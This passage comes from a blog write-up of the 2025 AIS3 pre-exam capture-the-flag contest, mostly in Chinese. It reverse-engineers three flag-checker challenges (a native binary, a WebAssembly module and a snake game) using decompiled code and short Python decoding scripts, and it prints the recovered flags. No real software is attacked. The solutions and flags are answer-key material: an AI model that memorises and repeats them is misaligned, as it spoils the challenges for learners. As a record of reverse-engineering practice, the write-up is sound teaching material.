_BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
int v8[11]; // [esp+12h] [ebp-3Eh]
__int16 v9; // [esp+3Eh] [ebp-12h]
v1 = 0;
v2 = 51;
v9 = 20;
v3 = 114;
v8[0] = 1480073267;
v8[1] = 1197221906;
v8[2] = 254628393;
v8[3] = 920154;
v8[4] = 1343445007;
v8[5] = 874076697;
v8[6] = 1127428440;
v8[7] = 1510228243;
v8[8] = 743978009;
v8[9] = 54940467;
v8[10] = 1246382110;
qmemcpy(v7, "rikki_l0v3", sizeof(v7));
while ( 1 )
{
*((_BYTE *)v8 + v1++) = v2 ^ v3;
if ( v1 == 45 )
break;
v2 = *((_BYTE *)v8 + v1);
v3 = v7[v1 % 0xA];
}
for ( i = 0; i != 45; ++i )
{
v5 = *(_BYTE *)(a1 + i);
if ( !v5 || v5 != *((_BYTE *)v8 + i) )
return 0;
}
return *(_BYTE *)(a1 + 45) == 0;
}

回推即可

import struct
v8_ints = [
1480073267, 1197221906, 254628393, 920154, 1343445007,
874076697, 1127428440, 1510228243, 743978009, 54940467,
1246382110
]
seed = b"".join(struct.pack("<I", x) for x in v8_ints) + bytes([20])
key = b"rikki_l0v3"
v2, v3 = 0x33, 0x72
flag = bytearray(45)
for i in range(45):
flag[i] = v2 ^ v3
if i == 44:
break
v2 = seed[i + 1]
v3 = key[(i + 1) % len(key)]
print(flag.decode())
[01:47:02] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/250.p
y"
AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

[web flag checker]

要去逆向index.wasm 先把 wasm 轉成 wat 再decompile一次 會看到flagchcker的部分

export function flagchecker(a:int):int { // func9
var b:int = g_a;
var c:int = 96;
var d:int = b - c;
g_a = d;
d[22]:int = a;
var e:int = -39934163;
d[21]:int = e;
var f:int = 64;
var g:long_ptr = d + f;
var h:long = 0L;
g[0] = h;
var i:int = 56;
var j:long_ptr = d + i;
j[0] = h;
var k:int = 48;
var l:long_ptr = d + k;
l[0] = h;
d[5]:long = h;
d[4]:long = h;
var m:long = 7577352992956835434L;
d[4]:long = m;
var n:long = 7148661717033493303L;
d[5]:long = n;
var o:long = -7081446828746089091L;
d[6]:long = o;
var p:long = -7479441386887439825L;
d[7]:long = p;
var q:long = 8046961146294847270L;
d[8]:long = q;
var r:int = d[22]:int;
var s:int = 0;
var t:int = r != s;
var u:int = 1;
var v:int = t & u;
if (eqz(v)) goto B_c;
var w:int = d[22]:int;
var x:int = f_n(w);
var y:int = 40;
var z:int = x != y;
var aa:int = 1;
var ba:int = z & aa;
if (eqz(ba)) goto B_b;
label B_c:
var ca:int = 0;
d[23]:int = ca;
goto B_a;
label B_b:
var da:int = d[22]:int;
d[7]:int = da;
var ea:int = 0;
d[6]:int = ea;
loop L_e {
var fa:int = d[6]:int;
var ga:int = 5;
var ha:int = fa < ga;
var ia:int = 1;
var ja:int = ha & ia;
if (eqz(ja)) goto B_d;
var ka:int = d[7]:int;
var la:int = d[6]:int;
var ma:int = 3;
var na:int = la << ma;
var oa:long_ptr = ka + na;
var pa:long = oa[0];
d[2]:long = pa;
var qa:int = d[6]:int;
var ra:int = 6;
var sa:int = qa * ra;
var ta:int = -39934163;
var ua:int = ta >> sa;
var va:int = 63;
var wa:int = ua & va;
d[3]:int = wa;
var xa:long = d[2]:long;
var ya:int = d[3]:int;
var za:long = f_i(xa, ya);
var ab:int = d[6]:int;
var bb:int = 32;
var cb:int = d + bb;
var db:int = cb;
var eb:int = 3;
var fb:int = ab << eb;
var gb:long_ptr = db + fb;
var hb:long = gb[0];
var ib:int = za != hb;
var jb:int = 1;
var kb:int = ib & jb;
if (eqz(kb)) goto B_f;
var lb:int = 0;
d[23]:int = lb;
goto B_a;
label B_f:
var mb:int = d[6]:int;
var nb:int = 1;
var ob:int = mb + nb;
d[6]:int = ob;
continue L_e;
}
label B_d:
var pb:int = 1;
d[23]:int = pb;
label B_a:
var qb:int = d[23]:int;
var rb:int = 96;
var sb:int = d + rb;
g_a = sb;
return qb;
}

逆向拼回去就好了

C = [
0x69282A668AEF666A,
0x633525F4D7372337,
0x9DB9A5A0DCC5DD7D,
0x9833AFAFB8381A2F,
0x6FAC8C8726464726,
]
MASK64 = (1 << 64) - 1
rot_l = lambda x, s: ((x << s) | (x >> (64 - s))) & MASK64
rot_r = lambda x, s: ((x >> s) | (x << (64 - s))) & MASK64
SH = [((-39934163) >> (i * 6)) & 0x3F for i in range(5)]
blocks = [rot_r(v, s).to_bytes(8, "little") for v, s in zip(C, SH)]
flag = b"".join(blocks).decode()
print(flag)
[02:01:56] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/252.p
y"
AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

[A_simple_snake_game]

一個貪吃蛇的遊戲,慢慢去翻,翻到一個神奇的東西

// -----------------------------------------------------
// Function: __ZN9SnakeGame6Screen8drawTextEii
// Address: 0x4029ba
// -----------------------------------------------------
void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{
unsigned int v4; // eax
int v5; // eax
char *v6; // eax
char *Error; // eax
int v8; // eax
char v9; // [esp+13h] [ebp-F5h]
char lpuexcpt; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcpta; // [esp+14h] [ebp-F4h]
struct _Unwind_Exception *lpuexcptb; // [esp+14h] [ebp-F4h]
int v14[10]; // [esp+5Dh] [ebp-ABh] BYREF
__int16 v15; // [esp+85h] [ebp-83h]
char v16; // [esp+87h] [ebp-81h]
int v17; // [esp+88h] [ebp-80h]
int v18; // [esp+8Ch] [ebp-7Ch]
int v19; // [esp+90h] [ebp-78h]
int v20; // [esp+94h] [ebp-74h]
int v21; // [esp+98h] [ebp-70h]
char v22[24]; // [esp+9Ch] [ebp-6Ch] BYREF
int v23; // [esp+B4h] [ebp-54h]
int v24; // [esp+B8h] [ebp-50h]
int v25; // [esp+BCh] [ebp-4Ch]
int v26; // [esp+C0h] [ebp-48h]
int v27; // [esp+C4h] [ebp-44h]
char v28[27]; // [esp+C8h] [ebp-40h] BYREF
char v29; // [esp+E3h] [ebp-25h] BYREF
int TextureFromSurface; // [esp+E4h] [ebp-24h]
int v31; // [esp+E8h] [ebp-20h]
unsigned int i; // [esp+ECh] [ebp-1Ch]
if ( (int)this <= 11451419 || a3 <= 19810 )
{
SnakeGame::Screen::createText[abi:cxx11](v28, (int)a1, (int)this, a3);
v27 = 0xFFFFFF;
v8 = std::string::c_str(v28);
a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
v23 = 400;
v24 = 565;
v25 = 320;
v26 = 30;
SDL_RenderCopy(a1[1], a1[4]);
std::string::~string(v28);
}
else
{
v14[0] = -831958911;
v14[1] = -1047254091;
v14[2] = -1014295699;
v14[3] = -620220219;
v14[4] = 2001515017;
v14[5] = -317711271;
v14[6] = 1223368792;
v14[7] = 1697251023;
v14[8] = 496855031;
v14[9] = -569364828;
v15 = 26365;
v16 = 40;
std::allocator<char>::allocator(&v29);
std::string::basic_string(v14, 43, &v29);
std::allocator<char>::~allocator(&v29);
for ( i = 0; ; ++i )
{
v4 = std::string::length(v22);
if ( i >= v4 )
break;
lpuexcpt = *(_BYTE *)std::string::operator[](i);
v9 = SnakeGame::hex_array1[i];
*(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
}
v21 = 0xFFFFFF;
v5 = std::string::c_str(v22);
v31 = TTF_RenderText_Solid(a1[5], v5, v21);
if ( v31 )
{
TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v31);
if ( TextureFromSurface )
{
v17 = 200;
v18 = 565;
v19 = 590;
v20 = 30;
SDL_RenderCopy(a1[1], TextureFromSurface);
SDL_FreeSurface(v31);
SDL_DestroyTexture(TextureFromSurface);
}
else
{
lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"SDL_CreateTextureFromSurface: ");
Error = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
SDL_FreeSurface(v31);
}
}
else
{
lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
(std::ostream::sentry *)&std::cerr,
"TTF_RenderText_Solid: ");
v6 = (char *)SDL_GetError();
std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
}
std::string::~string(v22);
}
}

感覺就是很像有flag的地方,把它拼回去吧

import struct
v14 = [
-831958911, -1047254091, -1014295699, -620220219,
2001515017, -317711271, 1223368792, 1697251023,
496855031, -569364828
]
v15 = 26365
v16 = 40
ciphertext = b''.join(struct.pack('<i', x) for x in v14)
ciphertext += struct.pack('<H', v15)
ciphertext += struct.pack('<B', v16)
hex_array1 = bytes.fromhex(
"C0 19 3A FD CE 68 DC F2 0C 47 D4 86 AB 57 39 B5"
"3A 8D 13 47 3F 7F 71 98 6D 13 B4 01 90 9C 46 3A"
"C6 33 C2 7F DD 71 78 9F 93 22 55"
)
flag = bytes(c ^ k for c, k in zip(ciphertext, hex_array1))
print(flag.decode())
[02:01:01] ~/Documents/code MacOS/daily/PLAYGROUND FOLDER/py ➜ /usr/local/bin/python3 "/Users/yih_0118/Documents/code MacOS/daily/PLAYGROUND FOLDER/py/251.py"
AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}

結果

image


Thanks for reading!

2025 AIS3 pre-exam

Sun Jun 01 2025
4611 words · 41 minutes